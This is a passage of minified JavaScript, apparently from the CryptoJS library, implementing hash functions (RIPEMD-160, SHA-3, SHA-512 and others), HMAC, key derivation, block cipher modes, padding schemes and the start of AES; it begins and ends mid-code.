parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 